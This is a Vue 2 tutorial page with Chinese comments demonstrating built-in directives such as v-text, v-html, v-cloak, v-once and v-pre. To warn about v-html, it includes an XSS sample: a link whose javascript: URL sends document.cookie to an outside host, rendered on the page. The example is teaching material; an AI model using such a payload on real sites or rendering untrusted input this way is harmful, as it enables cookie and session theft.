<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>内置指令</title>
  </title>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>

</head>

<body>
  <!--
    我们学过的指令：
        v-bind	: 单向绑定解析表达式, 可简写为 :xxx
        v-model	: 双向数据绑定
        v-for  	: 遍历数组/对象/字符串
        v-on   	: 绑定事件监听, 可简写为@
        v-if 	 	: 条件渲染（动态控制节点是否存存在）
        v-else 	: 条件渲染（动态控制节点是否存存在）
        v-show 	: 条件渲染 (动态控制节点是否展示)
-->
  <!-- 准备容器 -->
  <div id="root">
    <!-- 
      v-text指令(很少用，一般用插值语法)：
        1.作用：向其所在的节点中渲染文本内容。 (纯文本渲染)
        2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。这里有点不太灵活
     -->
    <h1>v-text指令:</h1>
    <h3>前端框架：{{name}}</h3>
    <h3 v-text="name">前端框架</h3>
    <h3 v-text="str"></h3>

    <!-- 
      v-html指令：
        1.作用：向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别：
          (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
          (2).v-html可以识别html结构。
        3.严重注意：v-html有安全性问题！！！！
          (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
          (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
     -->
    <h1>v-html指令:</h1>
    <h3 v-html="name">前端框架</h3>
    <h3 v-html="XSS"></h3>
    <img src="../images/cookie简略图示.png" alt="">
    <!-- 
      v-cloak指令（没有值）：
        1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
    -->
    <h1>v-cloak指令:</h1>
    <h3 v-cloak>前端框架：{{name}}</h3>

    <!-- 
      v-once指令：
        1.v-once所在节点在初次动态渲染后，就视为静态内容了。
        2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
     -->
    <h1>v-once指令:</h1>
    <h3 v-once>number初始值：{{number}}</h3>
    <h3>number当前值：{{number}}</h3>
    <button @click="number++">点击number+1</button>

    <!-- 
      v-pre指令：
        1.跳过其所在节点的编译过程。
        2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
     -->
    <h1 v-pre>v-pre指令:</h1>
    <h3 v-pre>number初始值：{{number}}</h3>
    <h3>number当前值：{{number}}</h3>
    <button @click="number++">点击number+1</button>
  </div>

  <!-- 引入Vue -->
  <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.6/vue.min.js"></script>
</body>

<script type='text/javascript'>
  Vue.config.productionTip = false; //设置为 false 以阻止 vue 在启动时生成生产提示。

  // 创建一个Vue实例
  new Vue({
    el: '#root',
    data: {
      name: 'Vue',
      str: '<h2>前端框架：react<h2/>',
      //用户提交的带有html标签的危险的数据，会获取当前网页的cookie，通常称为XSS
      XSS: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>点我<a/>',
      number: 1
    },
  })

</script>

</html>